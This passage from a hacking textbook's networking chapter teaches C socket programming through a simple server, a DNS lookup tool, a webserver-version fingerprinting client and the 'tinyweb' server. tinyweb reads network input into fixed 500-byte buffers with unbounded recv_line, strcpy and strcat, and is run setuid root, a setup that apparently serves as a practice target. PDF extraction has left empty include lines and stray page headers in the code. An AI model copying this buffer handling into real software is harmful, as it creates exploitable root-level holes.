Webservers, mail servers, and their respective client applications all use TCP and stream sockets to communicate. Another common type of socket is a datagram socket. Communicating with a datagram socket is more like mailing a letter than making a phone call. The connection is one-way only and unreliable. If you mail several letters, you can’t be sure that they arrived in the same order, or even that they reached their destination at all. The postal service is pretty reliable; the Internet, however, is not. Datagram sockets use another standard protocol called UDP instead of TCP on the transport layer (4). UDP stands for User Datagram Protocol, implying that it can be used to create custom protocols. This protocol is very basic and lightweight, with few safeguards built into it. It’s not a real connection, just a basic method for sending data from one point to another. With datagram sockets, there is very little overhead in the protocol, but the protocol doesn’t do much. If your program needs to confirm that a packet was received by the other side, the other side must be coded to send back an acknowledgment packet. In some cases packet loss is acceptable.

198

0x 400

Datagram sockets and UDP are commonly used in networked games and streaming media, since developers can tailor their communications exactly as needed without the built-in overhead of TCP.

0x421 Socket Functions
In C, sockets behave a lot like files since they use file descriptors to identify themselves. Sockets behave so much like files that you can actually use the read() and write() functions to receive and send data using socket file descriptors. However, there are several functions specifically designed for dealing with sockets. These functions have their prototypes defined in /usr/include/ sys/sockets.h. socket(int domain, int type, int protocol)

Used to create a new socket, returns a file descriptor for the socket or -1 on error. connect(int fd, struct sockaddr *remote_host, socklen_t addr_length) Connects a socket (described by file descriptor fd) to a remote host. Returns 0 on success and -1 on error. bind(int fd, struct sockaddr *local_addr, socklen_t addr_length)

Binds a socket to a local address so it can listen for incoming connections. Returns 0 on success and -1 on error. listen(int fd, int backlog_queue_size)

Listens for incoming connections and queues connection requests up to backlog_queue_size. Returns 0 on success and -1 on error. accept(int fd, sockaddr *remote_host, socklen_t *addr_length)

Accepts an incoming connection on a bound socket. The address information from the remote host is written into the remote_host structure and the actual size of the address structure is written into *addr_length. This function returns a new socket file descriptor to identify the connected socket or -1 on error. send(int fd, void *buffer, size_t n, int flags) Sends n bytes from *buffer to socket fd; returns the number of bytes sent or -1 on error. recv(int fd, void *buffer, size_t n, int flags) Receives n bytes from socket fd into *buffer; returns the number of bytes received or -1 on error.

When a socket is created with the socket() function, the domain, type, and protocol of the socket must be specified. The domain refers to the protocol family of the socket. A socket can be used to communicate using a variety of protocols, from the standard Internet protocol used when you browse the Web to amateur radio protocols such as AX.25 (when you are being a gigantic nerd). These protocol families are defined in bits/socket.h, which is automatically included from sys/socket.h.
199

N et wor kin g

From /usr/include/bits/socket.h
/* Protocol families. */ #define PF_UNSPEC 0 /* Unspecified. */ #define PF_LOCAL 1 /* Local to host (pipes and file-domain). */ #define PF_UNIX PF_LOCAL /* Old BSD name for PF_LOCAL. */ #define PF_FILE PF_LOCAL /* Another nonstandard name for PF_LOCAL. #define PF_INET 2 /* IP protocol family. */ #define PF_AX25 3 /* Amateur Radio AX.25. */ #define PF_IPX 4 /* Novell Internet Protocol. */ #define PF_APPLETALK 5 /* Appletalk DDP. */ #define PF_NETROM 6 /* Amateur radio NetROM. */ #define PF_BRIDGE 7 /* Multiprotocol bridge. */ #define PF_ATMPVC 8 /* ATM PVCs. */ #define PF_X25 9 /* Reserved for X.25 project. */ #define PF_INET6 10 /* IP version 6. */ ...

*/

As mentioned before, there are several types of sockets, although stream sockets and datagram sockets are the most commonly used. The types of sockets are also defined in bits/socket.h. (The /* comments */ in the code above are just another style that comments out everything between the asterisks.) From /usr/include/bits/socket.h
/* Types of sockets. */ enum __socket_type { SOCK_STREAM = 1, /* Sequenced, reliable, connection-based byte streams. */ #define SOCK_STREAM SOCK_STREAM SOCK_DGRAM = 2, /* Connectionless, unreliable datagrams of fixed maximum length. #define SOCK_DGRAM SOCK_DGRAM ...

*/

The final argument for the socket() function is the protocol, which should almost always be 0. The specification allows for multiple protocols within a protocol family, so this argument is used to select one of the protocols from the family. In practice, however, most protocol families only have one protocol, which means this should usually be set for 0; the first and only protocol in the enumeration of the family. This is the case for everything we will do with sockets in this book, so this argument will always be 0 in our examples.

0x422 Socket Addresses
Many of the socket functions reference a sockaddr structure to pass address information that defines a host. This structure is also defined in bits/socket.h, as shown on the following page.

200

0x 400

From /usr/include/bits/socket.h
/* Get the definition of the macro to define the common sockaddr members. #include /* Structure describing a generic socket address. */ struct sockaddr { __SOCKADDR_COMMON (sa_); /* Common data: address family and length. char sa_data[14]; /* Address data. */ }; */

*/

The macro for SOCKADDR_COMMON is defined in the included bits/sockaddr.h file, which basically translates to an unsigned short int. This value defines the address family of the address, and the rest of the structure is saved for address data. Since sockets can communicate using a variety of protocol families, each with their own way of defining endpoint addresses, the definition of an address must also be variable, depending on the address family. The possible address families are also defined in bits/socket.h; they usually translate directly to the corresponding protocol families. From /usr/include/bits/socket.h
/* Address families. */ #define AF_UNSPEC PF_UNSPEC #define AF_LOCAL PF_LOCAL #define AF_UNIX PF_UNIX #define AF_FILE PF_FILE #define AF_INET PF_INET #define AF_AX25 PF_AX25 #define AF_IPX PF_IPX #define AF_APPLETALK PF_APPLETALK #define AF_NETROM PF_NETROM #define AF_BRIDGE PF_BRIDGE #define AF_ATMPVC PF_ATMPVC #define AF_X25 PF_X25 #define AF_INET6 PF_INET6 ...

Since an address can contain different types of information, depending on the address family, there are several other address structures that contain, in the address data section, common elements from the sockaddr structure as well as information specific to the address family. These structures are also the same size, so they can be typecast to and from each other. This means that a socket() function will simply accept a pointer to a sockaddr structure, which can in fact point to an address structure for IPv4, IPv6, or X.25. This allows the socket functions to operate on a variety of protocols. In this book we are going to deal with Internet Protocol version 4, which is the protocol family PF_INET, using the address family AF_INET. The parallel socket address structure for AF_INET is defined in the netinet/in.h file.

N et wor kin g

201

From /usr/include/netinet/in.h
/* Structure describing an Internet socket address. */ struct sockaddr_in { __SOCKADDR_COMMON (sin_); in_port_t sin_port; /* Port number. */ struct in_addr sin_addr; /* Internet address. */ /* Pad to size of 'struct sockaddr'. */ unsigned char sin_zero[sizeof (struct sockaddr) __SOCKADDR_COMMON_SIZE sizeof (in_port_t) sizeof (struct in_addr)]; };

The SOCKADDR_COMMON part at the top of the structure is simply the unsigned short int mentioned above, which is used to define the address family. Since a socket endpoint address consists of an Internet address and a port number, these are the next two values in the structure. The port number is a 16-bit short, while the in_addr structure used for the Internet address contains a 32-bit number. The rest of the structure is just 8 bytes of padding to fill out the rest of the sockaddr structure. This space isn’t used for anything, but must be saved so the structures can be interchangeably typecast. In the end, the socket address structures end up looking like this: sockaddr structure (Generic structure)

Family

sa_data (14 bytes)

sockaddr_in structure (Used for IP version 4)

Family

Port #

IP address

Extra padding (8 bytes)

Both structures are the same size.

0x423 Network Byte Order
The port number and IP address used in the AF_INET socket address structure are expected to follow the network byte ordering, which is big-endian. This is the opposite of x86’s little-endian byte ordering, so these values must be converted. There are several functions specifically for these conversions, whose prototypes are defined in the netinet/in.h and arpa/inet.h include files. Here is a summary of these common byte order conversion functions: htonl(long value)

Host-to-Network Long Converts a 32-bit integer from the host’s byte order to network byte order

202

0x 400

htons(short value)

Host-to-Network Short Converts a 16-bit integer from the host’s byte order to network byte order

ntohl(long value)

Network-to-Host Long Converts a 32-bit integer from network byte order to the host’s byte order Network-to-Host Short Converts a 16-bit integer from network byte order to the host’s byte order

ntohs(long value)

For compatibility with all architectures, these conversion functions should still be used even if the host is using a processor with big-endian byte ordering.

0x424 Internet Address Conversion
When you see 12.110.110.204, you probably recognize this as an Internet address (IP version 4). This familiar dotted-number notation is a common way to specify Internet addresses, and there are functions to convert this notation to and from a 32-bit integer in network byte order. These functions are defined in the arpa/inet.h include file, and the two most useful conversion functions are: inet_aton(char *ascii_addr, struct in_addr *network_addr)

ASCII to Network This function converts an ASCII string containing an IP address in dottednumber format into an in_addr structure, which, as you remember, only contains a 32-bit integer representing the IP address in network byte order. inet_ntoa(struct in_addr *network_addr)

Network to ASCII This function converts the other way. It is passed a pointer to an in_addr structure containing an IP address, and the function returns a character pointer to an ASCII string containing the IP address in dotted-number format. This string is held in a statically allocated memory buffer in the function, so it can be accessed until the next call to inet_ntoa(), when the string will be overwritten.

0x425 A Simple Server Example
The best way to show how these functions are used is by example. The following server code listens for TCP connections on port 7890. When a client connects, it sends the message Hello, world! and then receives data until the connection is closed. This is done using socket functions and structures from the include files mentioned earlier, so these files are included at the beginning of the program. A useful memory dump function has been added to hacking.h, which is shown on the following page.

N et wor kin g

203

Added to hacking.h
// Dumps raw memory in hex byte and printable split format void dump(const unsigned char *data_buffer, const unsigned int length) { unsigned char byte; unsigned int i, j; for(i=0; i < length; i++) { byte = data_buffer[i]; printf("%02x ", data_buffer[i]); // Display byte in hex. if(((i%16)==15) || (i==length-1)) { for(j=0; j < 15-(i%16); j++) printf(" "); printf("| "); for(j=(i-(i%16)); j 31) && (byte < 127)) // Outside printable char range printf("%c", byte); else printf("."); } printf("\n"); // End of the dump line (each line is 16 bytes) } // End if } // End for }

This function is used to display packet data by the server program. However, since it is also useful in other places, it has been put into hacking.h, instead. The rest of the server program will be explained as you read the source code. simple_server.c
#include #include #include #include #include #include #include "hacking.h"

#define PORT 7890 // The port users will be connecting to int main(void) { int sockfd, new_sockfd; // Listen on sock_fd, new connection on new_fd struct sockaddr_in host_addr, client_addr; // My address information socklen_t sin_size; int recv_length=1, yes=1; char buffer[1024]; if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)

204

0x 400

fatal("in socket"); if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) fatal("setting socket option SO_REUSEADDR");

So far, the program sets up a socket using the socket() function. We want a TCP/IP socket, so the protocol family is PF_INET for IPv4 and the socket type is SOCK_STREAM for a stream socket. The final protocol argument is 0, since there is only one protocol in the PF_INET protocol family. This function returns a socket file descriptor which is stored in sockfd. The setsockopt() function is simply used to set socket options. This function call sets the SO_REUSEADDR socket option to true, which will allow it to reuse a given address for binding. Without this option set, when the program tries to bind to a given port, it will fail if that port is already in use. If a socket isn’t closed properly, it may appear to be in use, so this option lets a socket bind to a port (and take over control of it), even if it seems to be in use. The first argument to this function is the socket (referenced by a file descriptor), the second specifies the level of the option, and the third specifies the option itself. Since SO_REUSEADDR is a socket-level option, the level is set to SOL_SOCKET. There are many different socket options defined in /usr/include/ asm/socket.h. The final two arguments are a pointer to the data that the option should be set to and the length of that data. A pointer to data and the length of that data are two arguments that are often used with socket functions. This allows the functions to handle all sorts of data, from single bytes to large data structures. The SO_REUSEADDR options uses a 32-bit integer for its value, so to set this option to true, the final two arguments must be a pointer to the integer value of 1 and the size of an integer (which is 4 bytes). host_addr.sin_family = AF_INET; // Host byte order host_addr.sin_port = htons(PORT); // Short, network byte order host_addr.sin_addr.s_addr = 0; // Automatically fill with my IP. memset(&(host_addr.sin_zero), '\0', 8); // Zero the rest of the struct. if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)) == -1) fatal("binding to socket"); if (listen(sockfd, 5) == -1) fatal("listening on socket");

These next few lines set up the host_addr structure for use in the bind call. The address family is AF_INET, since we are using IPv4 and the sockaddr_in structure. The port is set to PORT, which is defined as 7890. This short integer value must be converted into network byte order, so the htons() function is used. The address is set to 0, which means it will automatically be filled with the host’s current IP address. Since the value 0 is the same regardless of byte order, no conversion is necessary. The bind() call passes the socket file descriptor, the address structure, and the length of the address structure. This call will bind the socket to the current IP address on port 7890.
205

N et wor kin g

The listen() call tells the socket to listen for incoming connections, and a subsequent accept() call actually accepts an incoming connection. The listen() function places all incoming connections into a backlog queue until an accept() call accepts the connections. The last argument to the listen() call sets the maximum size for the backlog queue. while(1) { // Accept loop. sin_size = sizeof(struct sockaddr_in); new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); if(new_sockfd == -1) fatal("accepting connection"); printf("server: got connection from %s port %d\n", inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port)); send(new_sockfd, "Hello, world!\n", 13, 0); recv_length = recv(new_sockfd, &buffer, 1024, 0); while(recv_length > 0) { printf("RECV: %d bytes\n", recv_length); dump(buffer, recv_length); recv_length = recv(new_sockfd, &buffer, 1024, 0); } close(new_sockfd); } return 0; }

Next is a loop that accepts incoming connections. The accept() function’s first two arguments should make sense immediately; the final argument is a pointer to the size of the address structure. This is because the accept() function will write the connecting client’s address information into the address structure and the size of that structure into sin_size. For our purposes, the size never changes, but to use the function we must obey the calling convention. The accept() function returns a new socket file descriptor for the accepted connection. This way, the original socket file descriptor can continue to be used for accepting new connections, while the new socket file descriptor is used for communicating with the connected client. After getting a connection, the program prints out a connection message, using inet_ntoa() to convert the sin_addr address structure to a dotted-number IP string and ntohs() to convert the byte order of the sin_port number. The send() function sends the 13 bytes of the string Hello, world!\n to the new socket that describes the new connection. The final argument for the send() and recv() functions are flags, that for our purposes, will always be 0. Next is a loop that receives data from the connection and prints it out. The recv() function is given a pointer to a buffer and a maximum length to read from the socket. The function writes the data into the buffer passed to it and returns the number of bytes it actually wrote. The loop will continue as long as the recv() call continues to receive data.

206

0x 400

When compiled and run, the program binds to port 7890 of the host and waits for incoming connections: reader@hacking:~/booksrc $ gcc simple_server.c reader@hacking:~/booksrc $ ./a.out

A telnet client basically works like a generic TCP connection client, so it can be used to connect to the simple server by specifying the target IP address and port. From a Remote Machine matrix@euclid:~ $ telnet 192.168.42.248 7890 Trying 192.168.42.248... Connected to 192.168.42.248. Escape character is '^]'. Hello, world! this is a test fjsghau;ehg;ihskjfhasdkfjhaskjvhfdkjhvbkjgf

Upon connection, the server sends the string Hello, world!, and the rest is the local character echo of me typing this is a test and a line of keyboard mashing. Since telnet is line-buffered, each of these two lines is sent back to the server when ENTER is pressed. Back on the server side, the output shows the connection and the packets of data that are sent back. On a Local Machine reader@hacking:~/booksrc $ ./a.out server: got connection from 192.168.42.1 port 56971 RECV: 16 bytes 74 68 69 73 20 69 73 20 61 20 74 65 73 74 0d 0a | This is a test... RECV: 45 bytes 66 6a 73 67 68 61 75 3b 65 68 67 3b 69 68 73 6b | fjsghau;ehg;ihsk 6a 66 68 61 73 64 6b 66 6a 68 61 73 6b 6a 76 68 | jfhasdkfjhaskjvh 66 64 6b 6a 68 76 62 6b 6a 67 66 0d 0a | fdkjhvbkjgf...

0x426 A Web Client Example
The telnet program works well as a client for our server, so there really isn’t much reason to write a specialized client. However, there are thousands of different types of servers that accept standard TCP/IP connections. Every time you use a web browser, it makes a connection to a webserver somewhere. This connection transmits the web page over the connection using HTTP, which defines a certain way to request and send information. By default, webservers run on port 80, which is listed along with many other default ports in /etc/services.

N et wor kin g

207

From /etc/services finger finger http 79/tcp 79/udp 80/tcp # Finger www www-http # World Wide Web HTTP

HTTP exists in the application layer—the top layer—of the OSI model. At this layer, all of the networking details have already been taken care of by the lower layers, so HTTP uses plaintext for its structure. Many other application layer protocols also use plaintext, such as POP3, SMTP, IMAP, and FTP’s control channel. Since these are standard protocols, they are all well documented and easily researched. Once you know the syntax of these various protocols, you can manually talk to other programs that speak the same language. There’s no need to be fluent, but knowing a few important phrases will help you when traveling to foreign servers. In the language of HTTP, requests are made using the command GET, followed by the resource path and the HTTP protocol version. For example, GET / HTTP/1.0 will request the root document from the webserver using HTTP version 1.0. The request is actually for the root directory of /, but most webservers will automatically search for a default HTML document in that directory of index.html. If the server finds the resource, it will respond using HTTP by sending several headers before sending the content. If the command HEAD is used instead of GET, it will only return the HTTP headers without the content. These headers are plaintext and can usually provide information about the server. These headers can be retrieved manually using telnet by connecting to port 80 of a known website, then typing HEAD / HTTP/1.0 and pressing ENTER twice. In the output below, telnet is used to open a TCP-IP connection to the webserver at http://www.internic.net. Then the HTTP application layer is manually spoken to request the headers for the main index page. reader@hacking:~/booksrc $ telnet www.internic.net 80 Trying 208.77.188.101... Connected to www.internic.net. Escape character is '^]'. HEAD / HTTP/1.0 HTTP/1.1 200 OK Date: Fri, 14 Sep 2007 05:34:14 GMT Server: Apache/2.0.52 (CentOS) Accept-Ranges: bytes Content-Length: 6743 Connection: close Content-Type: text/html; charset=UTF-8 Connection closed by foreign host. reader@hacking:~/booksrc $

208

0x 400

This reveals that the webserver is Apache version 2.0.52 and even that the host runs CentOS. This can be useful for profiling, so let’s write a program that automates this manual process. The next few programs will be sending and receiving a lot of data. Since the standard socket functions aren’t very friendly, let’s write some functions to send and receive data. These functions, called send_string() and recv_line(), will be added to a new include file called hacking-network.h. The normal send() function returns the number of bytes written, which isn’t always equal to the number of bytes you tried to send. The send_string() function accepts a socket and a string pointer as arguments and makes sure the entire string is sent out over the socket. It uses strlen() to figure out the total length of the string passed to it. You may have noticed that every packet the simple server received ended with the bytes 0x0D and 0x0A. This is how telnet terminates the lines—it sends a carriage return and a newline character. The HTTP protocol also expects lines to be terminated with these two bytes. A quick look at an ASCII table shows that 0x0D is a carriage return ('\r') and 0x0A is the newline character ('\n'). reader@hacking:~/booksrc $ man ascii | egrep "Hex|0A|0D" Reformatting ascii(7), please wait... Oct Dec Hex Char Oct 012 10 0A LF '\n' (new line) 112 015 13 0D CR '\r' (carriage ret) 115 reader@hacking:~/booksrc $

Dec 74 77

Hex 4A 4D

Char J M

The recv_line() function reads entire lines of data. It reads from the socket passed as the first argument into the a buffer that the second argument points to. It continues receiving from the socket until it encounters the last two linetermination bytes in sequence. Then it terminates the string and exits the function. These new functions ensure that all bytes are sent and receive data as lines terminated by '\r\n'. They are listed below in a new include file called hacking-network.h. hacking-network.h
/* This function accepts a socket FD and a ptr to the null terminated * string to send. The function will make sure all the bytes of the * string are sent. Returns 1 on success and 0 on failure. */ int send_string(int sockfd, unsigned char *buffer) { int sent_bytes, bytes_to_send; bytes_to_send = strlen(buffer); while(bytes_to_send > 0) { sent_bytes = send(sockfd, buffer, bytes_to_send, 0); if(sent_bytes == -1) return 0; // Return 0 on send error.

N et wor kin g

209

bytes_to_send -= sent_bytes; buffer += sent_bytes; } return 1; // Return 1 on success. } /* This function accepts a socket FD and a ptr to a destination * buffer. It will receive from the socket until the EOL byte * sequence in seen. The EOL bytes are read from the socket, but * the destination buffer is terminated before these bytes. * Returns the size of the read line (without EOL bytes). */ int recv_line(int sockfd, unsigned char *dest_buffer) { #define EOL "\r\n" // End-of-line byte sequence #define EOL_SIZE 2 unsigned char *ptr; int eol_matched = 0; ptr = dest_buffer; while(recv(sockfd, ptr, 1, 0) == 1) { // Read a single byte. if(*ptr == EOL[eol_matched]) { // Does this byte match terminator? eol_matched++; if(eol_matched == EOL_SIZE) { // If all bytes match terminator, *(ptr+1-EOL_SIZE) = '\0'; // terminate the string. return strlen(dest_buffer); // Return bytes received } } else { eol_matched = 0; } ptr++; // Increment the pointer to the next byter. } return 0; // Didn't find the end-of-line characters. }

Making a socket connection to a numerical IP address is pretty simple but named addresses are commonly used for convenience. In the manual HTTP HEAD request, the telnet program automatically does a DNS (Domain Name Service) lookup to determine that www.internic.net translates to the IP address 192.0.34.161. DNS is a protocol that allows an IP address to be looked up by a named address, similar to how a phone number can be looked up in a phone book if you know the name. Naturally, there are socket-related functions and structures specifically for hostname lookups via DNS. These functions and structures are defined in netdb.h. A function called gethostbyname() takes a pointer to a string containing a named address and returns a pointer to a hostent structure, or NULL pointer on error. The hostent structure is filled with information from the lookup, including the numerical IP address as a 32-bit integer in network byte order. Similar to the inet_ntoa() function, the memory for this structure is statically allocated in the function. This structure is shown below, as listed in netdb.h.

210

0x 400

From /usr/include/netdb.h
/* Description of database entry for a single host. */ struct hostent { char *h_name; /* Official name of host. */ char **h_aliases; /* Alias list. */ int h_addrtype; /* Host address type. */ int h_length; /* Length of address. */ char **h_addr_list; /* List of addresses from name server. */ #define h_addr h_addr_list[0] /* Address, for backward compatibility. };

*/

The following code demonstrates the use of the gethostbyname() function. host_lookup.c
#include #include #include #include #include #include

#include #include "hacking.h" int main(int argc, char *argv[]) { struct hostent *host_info; struct in_addr *address; if(argc < 2) { printf("Usage: %s \n", argv[0]); exit(1); } host_info = gethostbyname(argv[1]); if(host_info == NULL) { printf("Couldn't lookup %s\n", argv[1]); } else { address = (struct in_addr *) (host_info->h_addr); printf("%s has address %s\n", argv[1], inet_ntoa(*address)); } }

This program accepts a hostname as its only argument and prints out the IP address. The gethostbyname() function returns a pointer to a hostent structure, which contains the IP address in element h_addr. A pointer to this element is typecast into an in_addr pointer, which is later dereferenced for the call to inet_ntoa(), which expects a in_addr structure as its argument. Sample program output is shown on the following page.

N et wor kin g

211

reader@hacking:~/booksrc $ gcc -o host_lookup host_lookup.c reader@hacking:~/booksrc $ ./host_lookup www.internic.net www.internic.net has address 208.77.188.101 reader@hacking:~/booksrc $ ./host_lookup www.google.com www.google.com has address 74.125.19.103 reader@hacking:~/booksrc $

Using socket functions to build on this, creating a webserver identification program isn’t that difficult. webserver_id.c
#include #include #include #include #include #include #include

#include "hacking.h" #include "hacking-network.h" int main(int argc, char *argv[]) { int sockfd; struct hostent *host_info; struct sockaddr_in target_addr; unsigned char buffer[4096]; if(argc < 2) { printf("Usage: %s \n", argv[0]); exit(1); } if((host_info = gethostbyname(argv[1])) == NULL) fatal("looking up hostname"); if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) fatal("in socket"); target_addr.sin_family = AF_INET; target_addr.sin_port = htons(80); target_addr.sin_addr = *((struct in_addr *)host_info->h_addr); memset(&(target_addr.sin_zero), '\0', 8); // Zero the rest of the struct. if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1) fatal("connecting to target server"); send_string(sockfd, "HEAD / HTTP/1.0\r\n\r\n");

212

0x 400

while(recv_line(sockfd, buffer)) { if(strncasecmp(buffer, "Server:", 7) == 0) { printf("The web server for %s is %s\n", argv[1], buffer+8); exit(0); } } printf("Server line not found\n"); exit(1); }

Most of this code should make sense to you now. The target_addr structure’s sin_addr element is filled using the address from the host_info structure by typecasting and then dereferencing as before (but this time it’s done in a single line). The connect() function is called to connect to port 80 of the target host, the command string is sent, and the program loops reading each line into buffer. The strncasecmp() function is a string comparison function from strings.h. This function compares the first n bytes of two strings, ignoring capitalization. The first two arguments are pointers to the strings, and the third argument is n, the number of bytes to compare. The function will return 0 if the strings match, so the if statement is searching for the line that starts with "Server:". When it finds it, it removes the first eight bytes and prints the webserver version information. The following listing shows compilation and execution of the program. reader@hacking:~/booksrc $ gcc -o webserver_id webserver_id.c reader@hacking:~/booksrc $ ./webserver_id www.internic.net The web server for www.internic.net is Apache/2.0.52 (CentOS) reader@hacking:~/booksrc $ ./webserver_id www.microsoft.com The web server for www.microsoft.com is Microsoft-IIS/7.0 reader@hacking:~/booksrc $

0x427 A Tinyweb Server
A webserver doesn’t have to be much more complex than the simple server we created in the previous section. After accepting a TCP-IP connection, the webserver needs to implement further layers of communication using the HTTP protocol. The server code listed below is nearly identical to the simple server, except that connection handling code is separated into its own function. This function handles HTTP GET and HEAD requests that would come from a web browser. The program will look for the requested resource in the local directory called webroot and send it to the browser. If the file can’t be found, the server will respond with a 404 HTTP response. You may already be familiar with this response, which means File Not Found. The complete source code listing follows.

N et wor kin g

213

tinyweb.c
#include #include #include #include #include #include #include #include #include #include "hacking.h" "hacking-network.h"

#define PORT 80 // The port users will be connecting to #define WEBROOT "./webroot" // The webserver's root directory void handle_connection(int, struct sockaddr_in *); // Handle web requests int get_file_size(int); // Returns the filesize of open file descriptor int main(void) { int sockfd, new_sockfd, yes=1; struct sockaddr_in host_addr, client_addr; socklen_t sin_size;

// My address information

printf("Accepting web requests on port %d\n", PORT); if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) fatal("in socket"); if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) fatal("setting socket option SO_REUSEADDR"); host_addr.sin_family = AF_INET; // host_addr.sin_port = htons(PORT); // host_addr.sin_addr.s_addr = INADDR_ANY; memset(&(host_addr.sin_zero), '\0', 8); Host byte order Short, network byte order // Automatically fill with my IP. // Zero the rest of the struct.

if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)) == -1) fatal("binding to socket"); if (listen(sockfd, 20) == -1) fatal("listening on socket"); while(1) { // Accept loop. sin_size = sizeof(struct sockaddr_in); new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size); if(new_sockfd == -1) fatal("accepting connection"); handle_connection(new_sockfd, &client_addr); } return 0;

214

0x 400

} /* This function handles the connection on the passed socket from the * passed client address. The connection is processed as a web request, * and this function replies over the connected socket. Finally, the * passed socket is closed at the end of the function. */ void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr) { unsigned char *ptr, request[500], resource[500]; int fd, length; length = recv_line(sockfd, request); printf("Got request from %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request); ptr = strstr(request, " HTTP/"); // Search for valid-looking request. if(ptr == NULL) { // Then this isn't valid HTTP. printf(" NOT HTTP!\n"); } else { *ptr = 0; // Terminate the buffer at the end of the URL. ptr = NULL; // Set ptr to NULL (used to flag for an invalid request). if(strncmp(request, "GET ", 4) == 0) // GET request ptr = request+4; // ptr is the URL. if(strncmp(request, "HEAD ", 5) == 0) // HEAD request ptr = request+5; // ptr is the URL. if(ptr == NULL) { // Then this is not a recognized request. printf("\tUNKNOWN REQUEST!\n"); } else { // Valid request, with ptr pointing to the resource name if (ptr[strlen(ptr) - 1] == '/') // For resources ending with '/', strcat(ptr, "index.html"); // add 'index.html' to the end. strcpy(resource, WEBROOT); // Begin resource with web root path strcat(resource, ptr); // and join it with resource path. fd = open(resource, O_RDONLY, 0); // Try to open the file. printf("\tOpening \'%s\'\t", resource); if(fd == -1) { // If file is not found printf(" 404 Not Found\n"); send_string(sockfd, "HTTP/1.0 404 NOT FOUND\r\n"); send_string(sockfd, "Server: Tiny webserver\r\n\r\n"); send_string(sockfd, "404 Not Found"); send_string(sockfd, "URL not found\r\n"); } else { // Otherwise, serve up the file. printf(" 200 OK\n"); send_string(sockfd, "HTTP/1.0 200 OK\r\n"); send_string(sockfd, "Server: Tiny webserver\r\n\r\n"); if(ptr == request + 4) { // Then this is a GET request if( (length = get_file_size(fd)) == -1) fatal("getting resource file size"); if( (ptr = (unsigned char *) malloc(length)) == NULL) fatal("allocating memory for reading resource"); read(fd, ptr, length); // Read the file into memory. send(sockfd, ptr, length, 0); // Send it to socket.

N et wor kin g

215

free(ptr); // Free file memory. } close(fd); // Close the file. } // End if block for file found/not found. } // End if block for valid request. } // End if block for valid HTTP. shutdown(sockfd, SHUT_RDWR); // Close the socket gracefully. } /* This function accepts an open file descriptor and returns * the size of the associated file. Returns -1 on failure. */ int get_file_size(int fd) { struct stat stat_struct; if(fstat(fd, &stat_struct) == -1) return -1; return (int) stat_struct.st_size; }

The handle_connection function uses the strstr() function to look for the substring HTTP/ in the request buffer. The strstr() function returns a pointer to the substring, which will be right at the end of the request. The string is terminated here, and the requests HEAD and GET are recognized as processable requests. A HEAD request will just return the headers, while a GET request will also return the requested resource (if it can be found). The files index.html and image.jpg have been put into the directory webroot, as shown in the output below, and then the tinyweb program is compiled. Root privileges are needed to bind to any port below 1024, so the program is setuid root and executed. The server’s debugging output shows the results of a web browser’s request of http://127.0.0.1: reader@hacking:~/booksrc $ ls -l webroot/ total 52 -rwxr--r-- 1 reader reader 46794 2007-05-28 23:43 image.jpg -rw-r--r-- 1 reader reader 261 2007-05-28 23:42 index.html reader@hacking:~/booksrc $ cat webroot/index.html A sample webpage This is a sample webpage ...and here is some sample text ..and even a sample image: reader@hacking:~/booksrc $ gcc -o tinyweb tinyweb.c reader@hacking:~/booksrc $ sudo chown root ./tinyweb reader@hacking:~/booksrc $ sudo chmod u+s ./tinyweb reader@hacking:~/booksrc $ ./tinyweb

216

0x 400

Accepting web requests on port 80 Got request from 127.0.0.1:52996 "GET / HTTP/1.1" Opening './webroot/index.html' 200 OK Got request from 127.0.0.1:52997 "GET /image.jpg HTTP/1.1" Opening './webroot/image.jpg' 200 OK Got request from 127.0.0.1:52998 "GET /favicon.ico HTTP/1.1" Opening './webroot/favicon.ico' 404 Not Found

The address 127.0.0.1 is a special loopback address that routes to the local machine. The initial request gets index.html from the webserver, which in turn requests image.jpg. In addition, the browser automatically requests favicon.ico in an attempt to retrieve an icon for the web page. The screenshot below shows the results of this request in a browser.

0x430

Peeling Back the Lower Layers
When you use a web browser, all seven OSI layers are taken care of for you, allowing you to focus on browsing and not protocols. At the upper layers of OSI, many protocols can be plaintext since all the other details of the connection are already taken care of by the lower layers. Sockets exist on the session layer (5), providing an interface to send data from one host to another. TCP on the transport layer (4) provides reliability and transport control, while IP on the network layer (3) provides addressing and packet-level communication. Ethernet on the data-link layer (2) provides addressing between Ethernet ports, suitable for basic LAN (Local Area Network)
N et wor kin g

217

communications. At the bottom, the physical layer (1) is simply the wire and the protocol used to send bits from one device to another. A single HTTP message will be wrapped in multiple layers as it is passed through different aspects of communication. This process can be thought of as an intricate interoffice bureaucracy, reminiscent of the movie Brazil. At each layer, there is a highly specialized receptionist who only understands the language and protocol of that layer. As data packets are transmitted, each receptionist performs the necessary duties of her particular layer, puts the packet in an interoffice envelope, writes the header on the outside, and passes it on to the receptionist at the next layer below. That receptionist, in turn, performs the necessary duties of his layer, puts the entire envelope in another envelope, writes the header on the outside, and passes it on. Network traffic is a chattering bureaucracy of servers, clients, and peer-to-peer connections. At the higher layers, the traffic could be financial data, email, or basically anything. Regardless of what the packets contain, the protocols used at the lower layers to move the data from point A to point B are usually the same. Once you understand the office bureaucracy of these common lower layer protocols, you can peek inside envelopes in transit, and even falsify documents to manipulate the system.

0x431 Data-Link Layer
